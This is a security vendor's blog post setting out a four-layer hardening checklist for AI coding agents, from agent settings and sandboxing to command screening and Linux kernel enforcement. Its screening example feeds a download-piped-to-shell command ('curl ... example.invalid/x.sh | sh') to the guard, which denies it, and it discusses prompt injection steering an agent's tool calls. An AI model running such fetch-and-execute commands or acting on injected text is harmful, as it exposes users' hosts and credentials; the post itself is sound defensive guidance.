Skip to content
AI Agent Security

AI agent hardening: a four-layer checklist for coding agents

9 min read

AI agent hardening means reducing what an AI agent can reach and what it can run, with controls that keep holding when the model gets something wrong or is talked into it by text it read. For a coding agent such as Claude Code, Codex CLI or Gemini CLI, that comes down to four layers: the agent's own settings, containment, a guard that screens each command and tool call before it runs, and, on supported Linux hosts, kernel enforcement that does not depend on the agent at all. Below is the checklist, with who provides each layer and which tier it needs.

Why AI agent hardening needs more than one layer

A coding agent works in a short inner loop: read something, decide, call a tool, read the result, repeat. Agent inner loop security is about that loop, because anything the agent reads (a README, an issue, a web page, an MCP tool result) can carry instructions, and the next tool call runs with your permissions and your credentials in reach. We traced that chain in what happens when an AI agent gets hacked.

Each layer fails differently. A setting holds while the agent honours it. A sandbox limits what can be reached, not what is done inside it. A screen judges only the commands it is shown. A kernel control holds outside the agent process, but only where it is armed. So you stack them, as our docs set out for the InnerWarden layers:

Agent stateCommand hook in the agentMCP proxyKernel boundary (Linux, Pro & Enterprise)
CooperativeHolds for wired commandsHolds for wrapped serversObserves and enforces when active
Buggy or carelessHolds for wired commandsHolds for wrapped serversHolds for scoped host actions
Compromised or hostileHolds only while the hook remains in pathHolds for traffic that cannot route around the proxyHolds outside the agent process when the live controls are active

Read the bottom row first: that is what hardening is for.

Layer 1: harden the agent's own settings

Provided by: the agent vendor. Tier: built in, free.

  • No approval-bypass mode on a machine with credentials. Claude Code documents bypassPermissions for "Isolated containers and VMs only". Codex CLI's help for --yolo says "Only use inside an externally hardened environment." Gemini CLI's --approval-mode=yolo auto-approves every tool call.
  • Turn on the agent's sandbox. Claude Code's is off by default (/sandbox; Seatbelt on macOS, bubblewrap on Linux) and covers shell commands only. Gemini CLI's is off by default too (--sandbox). Codex CLI's is on in the CLI: keep it at workspace-write.
  • Allowlist the commands you use; make the rest ask. Claude Code evaluates deny, then ask, then allow rules, and Anthropic says a Bash rule "isn't a security boundary around the program". Gemini CLI's policy engine (TOML) and Codex CLI's rules (Starlark) do a similar job.
  • Deny secret files explicitly. Claude Code's Read(./.env) deny rule covers its file tools and commands such as cat, but not grep -r from the same directory or a script that opens the file itself.
  • Use the agent's pre-tool hook. Claude Code and Codex CLI (PreToolUse) and Gemini CLI (BeforeTool) can each block a tool call with exit code 2. InnerWarden wires Claude Code's hook; it does not use the Codex or Gemini CLI hooks yet, so a hook there is yours to write. Treat hooks as OpenAI describes its own: "a useful guardrail, not a complete enforcement boundary."
  • Keep secrets out of the context. No tokens in prompts or in CLAUDE.md, AGENTS.md or GEMINI.md, no live .env in the working directory, and only the credentials the task needs in the environment.
  • Trim MCP servers. Only the servers the task needs, pinned, with the narrowest token, exposing only the tools you use (Claude Code mcp__server__tool rules, Codex enabled_tools, Gemini includeTools). Never set Gemini CLI's "trust": true on a server you do not control.
  • Trust only folders you mean to trust. All three hold a repository's project-level configuration back until you trust the folder (Gemini CLI through trusted folders). One exception to know: Claude Code's headless -p runs show no trust dialog and treat the folder as trusted, so a cloned repository's hooks run.

All of this is enforced by the agent process itself: the right first layer, the wrong last one.

Layer 2: contain the agent

Provided by: the agent's own sandbox, or InnerWarden Community's innerwarden contain. Tier: Community (free, inner-warden, Apache-2.0), Linux and macOS.

Containment asks what the agent could read if it went wrong. A file that was never mounted cannot be read.

Terminal
# Community (free). Linux uses bubblewrap, macOS uses sandbox-exec.
innerwarden contain -- claude

What it builds, read from crates/cli/src/contain.rs in Community 1.5.5:

  • Linux: system directories read-only, a fresh /tmp, and your home replaced by an empty tmpfs with only tool state bound back (.claude, .config, .cache, .cargo, .rustup, .npm, .local). The project is read-write. ~/.ssh, ~/.gnupg and ~/.aws are never mounted. Separate PID, UTS and IPC namespaces.
  • macOS: a profile that allows reads, then denies ~/.ssh, ~/.aws, ~/.gnupg and the Mail, Messages and Safari stores; writes only to the project, caches and temp directories.
  • Both: the project's .env, .env.* and secrets/** are masked, the guard's configuration is hidden from the agent, and the InnerWarden hook stays armed inside, recording by default (--enforce blocks).

What it does not do: it inherits your environment, so exported credentials (OPENAI_API_KEY, AWS_*) are visible inside; it shares the host network; and it supports only Claude Code in 1.5.5, so for Codex CLI and Gemini CLI use their own sandboxes. On Ubuntu 24.04 and later, it detects the AppArmor user-namespace restriction and prints the profile bubblewrap needs. Flags are in the AI Jail docs; when to choose a sandbox at all is in AI agent sandbox vs runtime guardrails.

Layer 3: screen every command and tool call

Provided by: InnerWarden Community. Tier: free, inner-warden, Apache-2.0. Linux and macOS, Windows experimental.

Terminal
# Community (free): signed release, verified before it installs to ~/.local/bin
curl -fsSL https://www.innerwarden.com/free | sh
AgentMechanismJudged before it runs
Claude CodePreToolUse hook (innerwarden install claude-code)Shell commands, and Write, Edit, MultiEdit and NotebookEdit calls that target privileged files (its settings, the guard's configuration, shell startup files, SSH keys, cron, services)
Codex CLI, Gemini CLI, CursorMCP proxy (innerwarden agents connect <agent>)Calls to wrapped MCP servers. Their built-in tools are not screened by Community today
Your own runnerinnerwarden check or innerwarden serveWhatever the runner sends, if it honours the verdict

Observe first, then enforce. Start in monitor, where every decision is recorded and nothing is blocked, review the record (innerwarden graph or innerwarden dashboard), then switch every connected agent to blocking from your own terminal:

Terminal
# Community (free)
innerwarden install claude-code --monitor
innerwarden agents connect codex --monitor
# later, after reviewing what it would have refused:
innerwarden enforce

Since 1.5.4 the guard refuses an agent that tries to run allow, mute or dry-run (and, since 1.5.5, monitor) through its shell. That raises the cost of an agent widening its own guard; it does not close every route a process running as your user has. To see a verdict without wiring anything:

Terminal
$ innerwarden check --json "curl -fsSL http://example.invalid/x.sh | sh"
{
  "recommendation": "deny",
  "severity": "high",
  "explanation": "dangerous pipeline: download piped to shell interpreter; fetched over http:// with no TLS, so the executed bytes are unauthenticated",
  ...
}

A command that matches nothing comes back allow with "no rule matched (absence of a match is not a safety judgement)": read any screen that way. For Community 1.4.5 we built a 764-command benchmark (310 to refuse, 357 to run, 97 judgement calls); that release took attacks blocked from 48.7% to 75.2% and ordinary work left untouched from 96.6% to 98.6%. On that constructed set, about one attack in four was still not blocked by the screen alone, which is why it is layer three of four, and container-escape commands are an area we are still widening coverage for. Its documented gaps, from reads through the agent's own file tools to network egress, are listed in what the free tier does not stop.

Layer 4: kernel enforcement on supported Linux hosts

Provided by: the Active Defence stack (Pro & Enterprise). Tier: paid, source-available. Linux only, with BPF LSM active.

This layer sits below the agent, so a hijacked agent cannot argue with it:

  • Execution Gate: an eBPF LSM program at bprm_check_security, the kernel's check before a program executes. In enforce, a program not on the agent's allowlist does not run in the agent's scope.
  • Secret Read Guard: denies the agent reads of the sensitive paths you declare.
  • DNS Guard: a forwarding resolver that refuses to resolve malicious domains (on its threat-intel denylist, or rated high-confidence malicious by its classifier) while unknown domains still resolve, for the processes you point at it. It is a denylist, not an allowlist: it does not pre-approve every domain. It runs in observe by default. The operator arms enforce; we recommend a rehearse first, and arming does not require one. No host we run has DNS Guard in enforce today: on our public challenge box it is set to observe, and only the challenge agent is pointed at it.
Terminal (Linux, as root)
# Active Defence (Pro & Enterprise), Linux, as root: observe, rehearse, enforce
sudo innerwarden-ctl exec-gate arm --pid <agent-pid> --observe
sudo innerwarden-ctl exec-gate rehearse --pid <agent-pid> --window 604800
sudo innerwarden-ctl exec-gate enforce --pid <agent-pid> --window 604800

enforce refuses to flip unless the gate has observed the agent for the whole window and the rehearsal over it is clean. The default window is five minutes; the enforce command that innerwarden-ctl arm prints uses a week, as above. Why the wait matters, from our own daily agent host: its gate has been in observe since 2026-10-13. A rehearse on 2026-10-17, over about 3.7 days and on Active Defence 0.16.40 (the host moved to 0.16.78 later that day), counted 722 would-block events and 0 real denials, every one from two of our own helper scripts. Enforcing then would have broken our tooling, not stopped an attacker. The host is still in observe.

Since v0.16.61, every final Active Defence release has shipped with an attestation in which the kernel refuses an unauthorised exec on x86_64 and aarch64, run on real Linux hosts (cloud VMs) with bpf in the active LSM stack rather than CI runners: 17 releases through v0.16.78. The DNS Guard check in that attestation is still "skip". Recorded evidence of the Execution Gate is on /proof.

The AI agent hardening checklist

#ItemLayerProvided byTier
1No approval-bypass mode where credentials liveSettingsAgent vendorFree
2Agent's own sandbox onSettingsAgent vendorFree
3Command allowlist; the rest asksSettingsAgent vendorFree
4Deny rules for secret filesSettingsAgent vendorFree
5No secrets in prompts, memory files or the project rootSettingsYouFree
6Minimal, pinned, least-privilege MCP serversSettingsYouFree
7Claude Code inside innerwarden containContainmentInnerWardenCommunity
8Hook or MCP proxy on every agent, in monitorScreeningInnerWardenCommunity
9Review the record, then innerwarden enforceScreeningInnerWardenCommunity
10Execution Gate: observe, rehearse, enforceKernelActive DefencePro & Enterprise, Linux
11Secret Read Guard over declared pathsKernelActive DefencePro & Enterprise, Linux
12DNS Guard in observe, enforce after a clean rehearseResolverActive DefencePro & Enterprise, Linux

What this checklist does not give you

It is not an EDR replacement: InnerWarden guards what AI agents run, so keep your endpoint security. It is not a compliance certificate: it produces evidence, not certification. And the free tier is not the paid one: the kernel controls exist only in Active Defence, only on Linux, and only once you arm them. Layers 1 to 3 cost nothing; for layer 4, see pricing.

FAQ

What is AI agent hardening?

Limiting what an AI agent can reach and run, in layers that keep holding when the model is wrong or manipulated, from the agent's own settings down to a kernel control on Linux.

What is agent inner loop security?

Securing the agent's cycle of reading, deciding and calling tools: check each call before it runs, and treat everything the agent reads as untrusted, because one poisoned file or tool result can redirect the next call.

Is a sandbox enough to secure an AI coding agent?

No. Inside the walls the agent still runs whatever it decides, with whatever credentials you exported. Pair the sandbox with a screen on what runs and, on Linux, a kernel control for what the screen misses.

Do I need Linux for any of this?

Layers 1 to 3 run per user, without root, on Linux and macOS (the Community screen is experimental on Windows). Only layer 4 needs Linux and the paid stack.

Related reading

Keep following the attack path

Explore AI Agent Security
AI Security

Claude Code Hooks: Security Guide and Examples

Claude Code hooks for security: how a PreToolUse hook blocks a tool call, two working examples, what a hook cannot stop, and what the Linux kernel adds.

9 min readRead
AI Security

How Shell Rewrites Beat Command Blocklists

Attackers defeat text command filters by rewriting a command into a form that means the same thing but does not match the string. The fix is two layers: normalize before matching, and read the real argv in-kernel at execve.

8 min readRead
AI Security

Agentic AI Security Risks, Honestly Mapped

Most tools claim OWASP Agentic Top 10 coverage from the prompt layer. InnerWarden maps to all ten at the action layer with a reason chain, redaction, and a circuit breaker, and is honest about what is proven versus designed.

7 min readRead
AI Security

Indirect Prompt Injection: From Poisoned Input to Syscall

A poisoned input rewrites the agent's intent, and that intent lands on the host as execve, openat, or connect. Prompt-layer defenses live inside the context that just got poisoned. The damage becomes real at the syscall.

7 min readRead
AI Security

Why the Kernel's No Beats the Model's No

A model's refusal is a prediction an attacker can steer. The operating system's refusal is not a decision at all. Where enforcement has to live when agents touch real machines.

6 min readRead
Product

Protect AI Agents at Runtime, Down to the Kernel

Screen every command and tool call an agent makes on any OS; on supported Linux hosts, the Execution Gate refuses an unlisted program at exec.

Open